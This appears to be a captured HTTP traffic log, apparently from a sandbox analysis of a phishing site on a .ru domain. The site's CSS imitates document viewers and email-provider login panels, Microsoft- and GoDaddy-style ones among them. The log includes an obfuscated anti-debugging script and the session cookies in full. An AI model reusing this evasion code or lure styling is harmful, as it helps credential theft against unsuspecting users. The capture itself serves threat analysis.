2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 4b 78 76 6c 41 6b 61 5a 4e 44 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 51 63 42 66 48 6b 73 77 63 6c 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 43 68 55 52 71 55 4d 51 45 58 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 76 6b 74 6d 64 50 4d 6d 52 59 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 7a 64 55 69 44 43 77 52 4b 64 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 7a 64 55 69 44 43 77 Data Ascii: false;(function KxvlAkaZND() { let QcBfHkswcl = false; const ChURqUMQEX = 100; setInterval(function() { const vktmdPMmRY = performance.now(); debugger; const zdUiDCwRKd = performance.now(); if (zdUiDCw
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 66 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 Data Ascii: </div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div></div><div id="eb"></div><div id="ef"><div class="r
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 20 31 2e 34 35 32 2e 35 36 33 20 32 2e 33 31 33 2e 35 36 33 20 31 2e 30 30 36 20 30 20 31 2e 38 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 31 2e 37 36 31 2d 32 2e 31 39 36 2e 35 30 34 2d 2e 35 34 34 20 31 2e 31 37 33 2d 2e 38 32 20 31 2e 39 38 36 2d 2e 38 32 2e 36 39 35 20 30 20 31 2e 33 37 Data Ascii: 1.452.563 2.313.563 1.006 0 1.866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651.761-2.196.504-.544 1.173-.82 1.986-.82.695 0 1.37
2025-04-01 05:40:10 UTC	1369	IN	Data Raw: 20 31 2e 31 38 34 2d 2e 39 36 37 20 31 2e 39 39 37 20 30 20 2e 34 32 32 2e 30 37 2e 37 39 38 2e 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 31 33 20 34 2e 34 31 38 20 34 2e 34 31 38 20 30 20 30 31 2d 31 2e 32 2d 2e 36 30 39 6c 2d 2e 30 38 39 2d 2e 30 36 34 76 32 2e 30 36 34 6c 2e 30 33 33 2e Data Ascii: 1.184-.967 1.997 0 .422.07.798.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.213 4.418 4.418 0 01-1.2-.609l-.089-.064v2.064l.033.

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1345	OUT	GET /34pIIpMnrpbm72dd9abFBFlh6720 HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:11 UTC	881	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:11 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="34pIIpMnrpbm72dd9abFBFlh6720" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1bJuvPQm%2Ftg9%2FIeuM%2FW4AhTWkA8vFTQXaO0upGtGeASJnYiw82O%2BigRrag9UmYts7ouS3iF1RyeyvZT2qNZDs5%2FYMWwbxZmLvIgvW8qe5MXWkcssl5h29yb79yv0PSHy5dpl"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=9873&min_rtt=9740&rtt_var=2841&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2262&delivery_rate=290938&cwnd=252&unsent_bytes=0&cid=6fff9ebb496049ac&ts=412&x=0" CF-RAY: 9295c011992942eb-EWR alt-svc: h3=":443"; ma=86400
2025-04-01 05:40:11 UTC	488	IN	Data Raw: 33 37 61 65 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37ae#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 54 75 6e 67 61 2c 22 4c 61 6f 20 55 49 22 2c 52 61 61 76 69 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 4c 61 74 68 61 2c 4c 65 65 6c 61 77 61 64 65 65 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 Data Ascii: lvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edes
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 70 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 31 3e 23 62 67 31 69 6d 61 67 65 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 31 3e 23 62 67 31 69 6d 61 67 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 33 34 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 3e 23 62 67 32 69 6d 61 67 65 2c 23 73 65 63 74 Data Ascii: ontainer>.bg3{grid-area:bg3;height:auto;width:971.25pt;margin-left:0}#sections_doc .pdfbackcontainer>.bg1>#bg1image,#sections_pdf .pdfbackcontainer>.bg1>#bg1image{margin-left:-34%;width:100%;height:50px}#sections_doc .pdfbackcontainer>.bg2>#bg2image,#sect
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 36 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 37 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 32 31 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 Data Ascii: ions_pdf .lds-spinner div:nth-child(6){transform:rotate(150deg);animation-delay:-.6s}#sections_pdf .lds-spinner div:nth-child(7){transform:rotate(180deg);animation-delay:-.5s}#sections_pdf .lds-spinner div:nth-child(8){transform:rotate(210deg);animation-d
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 64 6f 63 4e 61 6d 65 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 64 6f 63 4e 61 6d 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 6c 65 66 74 4d 65 6e 75 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 Data Ascii: pdfheader #pdffaviconImg{margin-top:auto;margin-bottom:auto;margin-left:5px}#sections_doc .pdfheader .docName,#sections_pdf .pdfheader .docName{display:block;margin:auto auto auto 10px;color:inherit}#sections_doc .pdfheader .leftMenu,#sections_pdf .pdfhea
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 63 75 72 65 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 Data Ascii: ction:column;justify-content:center;width:100%;height:110px;border-radius:5px}#sections_pdf .login .sidelebles>span{color:#fff;text-align:left;margin:5px;font-size:14px;font-family:'Playfair Display',serif}#sections_pdf .login .secure>span{color:#fff;font
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 73 65 63 Data Ascii: isplay:flex}#sections_doc .login .selectProvider .choseemails>span,#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px;border-radius:5px}#sec
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 29 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 Data Ascii: ight:100vh;position:fixed;background-color:rgba(0,0,0,.37);z-index:100000}#sections_doc .allBlock{position:relative;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-direction:column;align-items:center;z-index:10000000
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 34 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 2d 36 34 31 7b 6d 61 72 67 69 6e 3a 30 20 34 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 33 32 37 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 33 34 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 34 70 78 3b 63 6f 6c 6f 72 3a 23 32 35 32 34 32 33 3b 77 68 69 74 65 Data Ascii: isplay:flex;font-size:0px;justify-content:flex-end;margin-right:-4px}#sections_doc .action-641{margin:0 4px;flex-grow:1}#sections_doc .css-327{display:flex;justify-content:flex-end;width:100%}#sections_doc .title-634{padding-bottom:4px;color:#252423;white
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 35 70 78 3b 68 65 69 67 68 74 3a 35 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 3b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 3b 61 6e 69 6d 61 74 69 6f 6e 3a 32 73 20 69 6e 66 69 6e 69 74 65 20 70 72 6f 67 72 65 73 73 44 6f 74 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 Data Ascii: lc(100% + 110px);right:60px;position:relative}#sections .loading-container.loading .dot-floating{position:relative;width:5px;height:5px;border-radius:5px;background-color:#0067b8;color:#0067b8;animation:2s infinite progressDot}#sections .loading-container

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1336	OUT	GET /abmeyb7Y5s4tpqZcd30 HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:12 UTC	1082	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:11 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abmeyb7Y5s4tpqZcd30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PrzDaWrDbi5fJKLtUbQnowxhGn2JBLdib0r6TWV2KO6HI1HXutlRSGCwDDpPx6QMsMIbMehXe1NC60MqEnnjWHgYzgqCO4R5f4avdveX%2FYLAN6uJXnF0RgkXCs1j%2FVNWszGp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9860&min_rtt=9810&rtt_var=3715&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2253&delivery_rate=290316&cwnd=250&unsent_bytes=0&cid=ea40c77b282ec64e&ts=407&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9295c0133b81428e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=86014&min_rtt=85231&rtt_var=18784&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1908&delivery_rate=35850&cwnd=252&unsent_bytes=0&cid=d75964b82d07fc24&ts=761&x=0"
2025-04-01 05:40:12 UTC	287	IN	Data Raw: 33 37 62 37 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b7#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
